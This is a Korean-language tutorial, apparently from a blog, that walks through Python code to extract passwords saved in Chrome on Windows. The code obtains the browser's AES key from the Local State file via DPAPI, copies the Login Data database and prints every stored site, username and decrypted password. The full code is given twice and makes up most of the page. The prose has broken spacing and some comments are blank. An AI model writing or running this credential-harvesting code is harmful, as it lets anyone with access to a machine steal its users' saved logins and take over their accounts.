어떻게 Python 을 사용 하여 Chrome 브 라 우 저 에 저 장 된 암 호 를 추출 합 니까?

Chrome 은 대량의 데 이 터 를 로 컬 로 저장 하기 때문에 이 튜 토리 얼 에서 Python 코드 를 작성 하여 Windows 컴퓨터 에서 Chrome 에 저 장 된 비밀 번 호 를 추출 할 것 입 니 다.
우선,필요 한 라 이브 러 리 를 설치 합 니 다.
pip install pycryptodome pypiwin32
새 Python 파일 을 열 고 필요 한 모듈 가 져 오기:

import os
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import shutil
from datetime import timezone, datetime, timedelta
chrome 비밀 번 호 를 직접 추출 하기 전에 주 함수 에 유용 한 함 수 를 정의 해 야 합 니 다.

def get_chrome_datetime(chromedate):
    """ chrome   datetime    `datetime.datetime`  
  'chromedate'    1601 1       """
    return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)

def get_encryption_key():
    local_state_path = os.path.join(os.environ["USERPROFILE"],"AppData", "Local", "Google", "Chrome","User Data", "Local State")
    with open(local_state_path, "r", encoding="utf-8") as f:
        local_state = f.read()
        local_state = json.loads(local_state)

    #  Base64      
    key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
    #    DPAPI str
    key = key[5:]
    #            
    #                    
    #     doc: http://timgolden.me.uk/pywin32-docs/win32crypt.html
    return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]


def decrypt_password(password, key):
    try:
        #        
        iv = password[3:15]
        password = password[15:]
        #     
        cipher = AES.new(key, AES.MODE_GCM, iv)
        #     
        return cipher.decrypt(password)[:-16].decode()
    except:
        try:
            return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
        except:
            # not supported
            return ""
  • get_chrome_datetime()함 수 는 chrome 날짜 형식 을 인간 이 읽 을 수 있 는 날짜 시간 형식 으로 변환 하 는 것 을 책임 집 니 다.
  • get_encryption_key()함수 에서 암 호 를 암호 화 하 는 AES 키 를 추출 하고 디 코딩 합 니 다.이"%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Local State"JSON 파일 로 경로 에 저 장 됩 니 다
  • decrypt_password()암호 화 된 암호 와 AES 키 를 매개 변수 로 하고 암호 의 복호화 버 전 을 되 돌려 줍 니 다.
  • 다음은 main 의 주요 기능 입 니 다.
    
    def main():
        #   AES  
        key = get_encryption_key()
        #   sqlite Chrome     
        db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local","Google", "Chrome", "User Data", "default", "Login Data")
        #           
        #     chrome      ,       
        filename = "ChromeData.db"
        shutil.copyfile(db_path, filename)
        #      
        db = sqlite3.connect(filename)
        cursor = db.cursor()
        #             
        cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")
        # iterate over all rows
        for row in cursor.fetchall():
            origin_url = row[0]
            action_url = row[1]
            username = row[2]
            password = decrypt_password(row[3], key)
            date_created = row[4]
            date_last_used = row[5]        
            if username or password:
                print(f"Origin URL: {origin_url}")
                print(f"Action URL: {action_url}")
                print(f"Username: {username}")
                print(f"Password: {password}")
            else:
                continue
            if date_created != 86400000000 and date_created:
                print(f"Creation date: {str(get_chrome_datetime(date_created))}")
            if date_last_used != 86400000000 and date_last_used:
                print(f"Last Used: {str(get_chrome_datetime(date_last_used))}")
            print("="*50)
        cursor.close()
        db.close()
        try:
            #        db  
            os.remove(filename)
        except:
            pass
    우선,우 리 는 이전에 정 의 된 get 을 사용 합 니 다.encryption_key()함수 가 암호 화 키 를 가 져 온 다음 sqlite 데이터베이스("%USERPROFILE%\AppData\Local\Google\Chrome\User Data\default\Login Data"에 암 호 를 저장 하 는 위치)를 현재 디 렉 터 리 로 복사 하여 연결 합 니 다.원본 데이터베이스 파일 이 잠 겨 크롬 이 현재 실행 중 이기 때 문 입 니 다.
    그 후에 우 리 는 로그 인 표를 선택 하여 모든 로그 인 줄 을 옮 겨 다 녔 다.우 리 는 모든 비밀번호date_created를 복호화 하고date_last_used날짜 시간 을 읽 기 쉬 운 형식 으로 다시 포맷 했다.
    마지막 으로,우 리 는 증 거 를 인쇄 하고 현재 디 렉 터 리 에서 데이터베이스 복사 본 을 삭제 합 니 다.
    주 함 수 를 호출 하여 Chrome 브 라 우 저 에 저 장 된 암 호 를 완벽 하 게 추출 합 니 다.

    전체 코드
    
    import os
    import json
    import base64
    import sqlite3
    import win32crypt
    from Crypto.Cipher import AES
    import shutil
    from datetime import  datetime, timedelta
    
    def get_chrome_datetime(chromedate):
        """ chrome   datetime    `datetime.datetime`  
      'chromedate'    1601 1       """
        return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)
    
    def get_encryption_key():
        local_state_path = os.path.join(os.environ["USERPROFILE"],
                                        "AppData", "Local", "Google", "Chrome",
                                        "User Data", "Local State")
        with open(local_state_path, "r", encoding="utf-8") as f:
            local_state = f.read()
            local_state = json.loads(local_state)
    
        key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
       
        key = key[5:]
        
        return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
    
    
    def decrypt_password(password, key):
        try:
            iv = password[3:15]
            password = password[15:]
            cipher = AES.new(key, AES.MODE_GCM, iv)
            return cipher.decrypt(password)[:-16].decode()
        except:
            try:
                return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
            except:
                # not supported
                return ""
    
    
    def main():
        key = get_encryption_key()
        db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
                                "Google", "Chrome", "User Data", "default", "Login Data")
        filename = "ChromeData.db"
        shutil.copyfile(db_path, filename)
        db = sqlite3.connect(filename)
        cursor = db.cursor()
        cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")
        # iterate over all rows
        for row in cursor.fetchall():
            origin_url = row[0]
            action_url = row[1]
            username = row[2]
            password = decrypt_password(row[3], key)
            date_created = row[4]
            date_last_used = row[5]        
            if username or password:
                print(f"Origin URL: {origin_url}")
                print(f"Action URL: {action_url}")
                print(f"Username: {username}")
                print(f"Password: {password}")
            else:
                continue
            if date_created != 86400000000 and date_created:
                print(f"Creation date: {str(get_chrome_datetime(date_created))}")
            if date_last_used != 86400000000 and date_last_used:
                print(f"Last Used: {str(get_chrome_datetime(date_last_used))}")
            print("="*50)
    
        cursor.close()
        db.close()
        try:
            # try to remove the copied db file
            os.remove(filename)
        except:
            pass
    
    
    if __name__ == "__main__":
        main()
    이상 은 Python 으로 Chrome 브 라 우 저 에 저 장 된 비밀 번 호 를 추출 하 는 상세 한 내용 을 알려 드 리 는 것 입 니 다.Python 에서 Chrome 브 라 우 저 에 저 장 된 비밀 번 호 를 추출 하 는 데 관 한 자 료 는 다른 글 을 주목 하 세 요!

    좋은 웹페이지 즐겨찾기